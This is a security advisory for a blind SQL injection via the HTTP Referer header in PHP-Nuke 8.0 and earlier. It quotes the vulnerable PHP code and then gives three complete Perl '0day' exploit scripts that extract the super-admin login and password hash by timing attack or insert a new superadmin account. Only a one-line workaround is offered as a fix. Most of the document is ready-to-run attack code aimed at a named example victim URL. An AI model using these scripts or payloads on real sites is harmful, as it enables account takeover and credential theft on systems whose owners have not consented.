Blind sql injection attack in INSERT syntax on PHP-nuke <=8.0 Final
Problem:Blind sql injection attack in INSERT syntax
Product:PHP-nuke <=8.0
Web page:http://phpnuke.org/
Credit:Maciej `krasza` Kukla
@mail:krasza@xxxxxxxxx
homepage:www.krasza.int.pl
1.Description
(...)PHP-Nuke 8.0 Final version. This version includes a new anti-flood system,
several cosmetic changes, a new web based installer, improvements on
advertising system, downloads and web links modules, Forums and all BBtoNuke
modules are now separated from the core system, improved the News module and
many bugs fixes. Additionaly PHP-Nuke version 7.9 has been released for free to
the public on the downloads section.(...)
Purchase PHP-Nuke 8.0 cast $12.
2.Blind sql injection attack in INSERT syntax
Lately I detected many sql injection attack in INSERT SYNTAX,where query looks
like "INSERT into `nuke_referer` values(1,'$var')", $var is not filtered.It is
possible to add new administrator(it is abuse of course), when the script is
working on every base(PostgreSQL,mssql...) except MySQL base.
It is working thanks to "breaking queries"(INSERT ....; INSERT...).When script
is working on MySQL base(version 4.0.24 or later) and we can review contents
`ratingtable` using visiting php script, then it is allowed add value(example
admin's hash) from other table to `nuke_referer` as record. It is working
thanks to subquery(http://dev.mysql.com/doc/refman/5.0/en/subqueries.html),
example "INSERT into.... values(1,'cos'),(1,(SELECT pwd FROM `nuke_authors`
WHERE `radminsuper`=1))/*')"
Unfortunetly we can't usually see content `nuke_referer`, because we use
'including attack method'('Blind sql injection' with 'sql injection in INSERT
syntax').It will be effective thanks to use time's function-benchmark() and
sleep().Function benchmark() is more universal than sleep(), because function
is available from mysql version 4.0.24.When we know it, we can prepare
exploiting query, example:
"INSERT INTO nuke_referer VALUES (NULL, 'http://www.krasza.int.pl'),(-1,(SELECT
IF((ASCII(SUBSTRING(`pwd`,1,1))=97) & 1, benchmark(50000000,CHAR(0)),0) FROM
`nuke_authors` WHERE `radminsuper`=1))/*')"
If script will be executing long, that means the first liter of administrator's
hash is 'a'.This method was discoroved by me last weekend.
Bug is found in index.php:
---index.php:42---
if ($httpref == 1) { //default $httpref=1, on 95% sites
if (isset($_SERVER['HTTP_REFERER'])) {
$referer = $_SERVER['HTTP_REFERER'];
$referer = check_html($referer, "nohtml");
}
if (!empty($referer) && !stripos_clone($referer, "unknown") &&
!stripos_clone($referer, "bookmark") && !stripos_clone($referer,
$_SERVER['HTTP_HOST'])) {
$result = $db->sql_query("INSERT INTO ".$prefix."_referer VALUES (NULL,
'".$referer."')");//bug is here!!
}
$numrows = $db->sql_numrows($db->sql_query("SELECT * FROM
".$prefix."_referer"));
if($numrows>=$httprefmax) {
$result2 = $db->sql_query("DELETE FROM ".$prefix."_referer");
}
}
---index.php:54---
The same bug you can find in modules/News/categories.php:
---modules/News/categories.php:96---
if ($httpref==1) {
$referer = $_SERVER['HTTP_REFERER'];
if ($referer=="" OR ereg("unknown", $referer) OR
eregi($nukeurl,$referer)) {
} else {
$db->sql_query("insert into ".$prefix."_referer values
(NULL, '$referer')");//bug is here!!
}
$numrows = $db->sql_numrows($db->sql_query("select * from
".$prefix."_referer"));
if($numrows==$httprefmax) {
$db->sql_query("delete from ".$prefix."_referer");
}
}
---modules/News/categories.php:106---
3.Exploits(also all available in attachments)
Exploit for mysql >= 4.0.24, when 'HTTP Referers' block is off:
---
#!/usr/bin/perl
#0day exploit for PHP-nuke <=8.0 Final
#Blind sql injection attack in INSERT syntax
#version for mysql >= 4.0.24, using 'brute force'
#Coded by:Maciej `krasza` Kukla[krasza@xxxxxxxxx]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#Coded by:Maciej `krasza` Kukla[krasza@xxxxxxxxx]
#
#[+]Time normal query: 2 seconds
#[+]Length user's record: 5
#[+]Length password's record: 32
#[+]Login:
#admin
#[+]Password:
#b481ab90de84a345c665f1e4ef3c2
#[+]Super admin:
#admin:b481ab90de84a345c66585e1f4cf16e4
use strict;
use warnings;
use LWP;
my $offset=4;#It is the most important variable!!
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my
($respone,$komenda,$poczatek,$koniec,$czas_nor,$i,$j,$dlugosc_user,$user,$hash,$referer,$czy_dziala,$znak);
banner();
$czas_nor=polacz("http://www.krasza.int.pl");
print "[+]Time normal query: $czas_nor seconds\n";
$dlugosc_user=ustal_dlugosc("aid",8);
print "[+]Length user's record: $dlugosc_user\n";
print "[+]Length password's record: 32\n";
print "[+]Login:\n";
$user=brute_force_aid($dlugosc_user);
print "[+]Password:\n";
$hash=brute_force_pass(32);
print "[+]Super admin:\n";
print "$user:$hash\n";
##
sub brute_force_pass{
my ($dlugosc)=@_;
my ($i,$j,$referer,$wynik,$dolny_zakres);
for($i=1;$i<=$dlugosc;$i++){
for($j=48;$j<=122;$j++){
$referer="http://www.krasza.int.pl'),(-1,(SELECT
IF((ASCII(SUBSTRING(`pwd`,".$i.",1))=".$j.") & 1,
benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
$czy_dziala=czy_dziala($referer);
if($czy_dziala==1){
$znak=chr($j);
print "$znak";
$wynik.=$znak;
if($i<$dlugosc){
$i+=1;
$j=47;
}else{
last;
}
}
#przeskok-optymalizacja;]
if($j==57){
$j=96;
}
}
}
print "\n";
return $wynik;
}
sub brute_force_aid{
my ($dlugosc)=@_;
my ($i,$j,$referer,$wynik,$dolny_zakres);
for($i=1;$i<=$dlugosc;$i++){
for($j=48;$j<=122;$j++){
$referer="http://www.krasza.int.pl'),(-1,(SELECT
IF((ASCII(SUBSTRING(`aid`,".$i.",1))=".$j.") & 1,
benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
$czy_dziala=czy_dziala($referer);
if($czy_dziala==1){
$znak=chr($j);
print "$znak";
$wynik.=$znak;
if($i<$dlugosc){
$i+=1;
$j=47;
}else{
last;
}
}
if($j==57){
$j=64;
}
if($j==90){
$j=96;
}
}
}
print "\n";
return $wynik;
}
sub ustal_dlugosc{
my ($pole,$len)=@_;
my ($referer,$narazie_dziala_liczba,$nie_dziala_liczba);
$narazie_dziala_liczba=0;
$nie_dziala_liczba=65;
#for($len=1;$len<64;$len++){
while($len<=64){
if($narazie_dziala_liczba==$len || $nie_dziala_liczba<=$len){
return $narazie_dziala_liczba;
}
$referer="http://www.krasza.int.pl'),(-1,(SELECT
IF((LENGTH(`".$pole."`)>".$len.") & 1, benchmark(50000000,CHAR(0)),0) FROM
`nuke_authors` WHERE `radminsuper`=1))/*";
$czy_dziala=czy_dziala($referer);
if($czy_dziala==1){
$narazie_dziala_liczba=$len+1;
$len+=2;
}else{
$nie_dziala_liczba=$len+1;
$len-=1;
}
}
print "[-]Exploit Failed\n";
exit;
}
sub czy_dziala{
my ($refik)=@_;
my $czas_zapytania;
$czas_zapytania=polacz($refik);
if($czas_zapytania>$czas_nor+$offset){
return 1;
}else{
return 0;
}
}
sub polacz{
my ($referrer)=@_;
my ($czas,$czas_poczatek,$czas_koniec);
$zadanie->referer($referrer);
$czas_poczatek=time();
$respone=$ua->request($zadanie);
$respone->is_success or die "$adres : ",$respone->message,"\n";
$czas_koniec=time();
$czas=$czas_koniec-$czas_poczatek;
return $czas;
}
sub banner{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Blind sql injection attack in INSERT syntax\n";
print "version mysql >= 4.0.24, using 'brute force'\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Blind sql injection attack in INSERT syntax\n";
print "version mysql >= 4.0.24, using 'brute force'\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
print "Use:\n";
print "\tperl exploit.pl [url]\n";
print "\t[url]-vicitim webpage with index.php\n";
print "Example:\n";
print "\tperl bruteforce.pl http://phpnuke.org/index.php\n";
exit(0);
}
---
Exploit for mysql >= 4.0.24, when block 'HTTP Referers' is on:
---
#!/usr/bin/perl
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version, when 'HTTP Referers' block is on
#Coded by:Maciej `krasza` Kukla[krasza@xxxxxxxxx]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version, when 'HTTP Referers' block is on
#Coded by:Maciej `krasza` Kukla[krasza@xxxxxxxxx]
#
#[+]You can see login and hash on web page in 'HTTP referers' block
#[+]Exploit successed
use strict;
use warnings;
use LWP;
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my ($respone,$referer);
banner();
$referer="http://www.krasza.int.pl'),(NULL,(SELECT `pwd` FROM
`nuke_authors` WHERE `radminsuper`=1))/*";
$zadanie->referer($referer);
$respone=$ua->request($zadanie);
$respone->is_success or die "$adres : ",$respone->message,"\n";
$referer="http://www.krasza.int.pl'),(NULL,(SELECT `aid` FROM
`nuke_authors` WHERE `radminsuper`=1))/*";
$zadanie->referer($referer);
$respone=$ua->request($zadanie);
$respone->is_success or die "$adres : ",$respone->message,"\n";
print "[+]You can see login and hash on web page in 'HTTP referers'
block\n";
print "[+]Exploit successed\n";
sub banner{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Sql injection attack in INSERT syntax\n";
print "version, when 'HTTP Referers' block is on\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Sql injection attack in INSERT syntax\n";
print "version, when 'HTTP Referers' block is on\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
print "Use:\n";
print "\tperl exploit.pl [url]\n";
print "\t[url]-vicitim webpage with index.php\n";
print "Example:\n";
print "\tperl exploit.pl http://phpnuke.org/index.php\n";
exit(0);
}
---
Exploit for PostgreSQL,mssql:
---
#!/usr/bin/perl
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version for every base(PostgreSQL,mssql...) except MySQL base
#Coded by:Maciej `krasza` Kukla[krasza@xxxxxxxxx]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version for every base(PostgreSQL,mssql...) except MySQL base
#Coded by:Maciej `krasza` Kukla[krasza@xxxxxxxxx]
#
#[+]I registered new superadmin
#[+]You can login at http://blackshell.pl/~krasza/nuke/html/index.php
#[+]Login:krasza
#[+]Password:krasza
#[+]Exploit successed
use strict;
use warnings;
use LWP;
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my ($respone,$referer);
banner();
$referer="http://www.krasza.int.pl');INSERT INTO `nuke_authors` VALUES
('krasza', 'God', 'http://www.krasza.int.pl', 'krasza\@gmail.com',
'61af1f6e572d7fe3a72f54a6ac53830e', '0', '1', '";
$zadanie->referer($referer);
$respone=$ua->request($zadanie);
$respone->is_success or die "$adres : ",$respone->message,"\n";
print "[+]I registered new superadmin\n";
print "[+]You can login at $adres \n";
print "[+]Login:krasza\n";
print "[+]Password:krasza\n";
print "[+]Exploit successed\n";
sub banner{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Sql injection attack in INSERT syntax\n";
print "version for every base(PostgreSQL,mssql...) except MySQL base\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Sql injection attack in INSERT syntax\n";
print "version for every base(PostgreSQL,mssql...) except MySQL base\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
print "Use:\n";
print "\tperl exploit.pl [url]\n";
print "\t[url]-vicitim webpage with index.php\n";
print "Example:\n";
print "\tperl exploit.pl http://phpnuke.org/index.php\n";
exit(0);
}
---
4.Fix
Set variable $httpref=0 until php-nuke company will publish oficial fix
Maciej `krasza` Kukla
krasza@xxxxxxxxx
www.krasza.int.pl
http://www.krewniacy.pl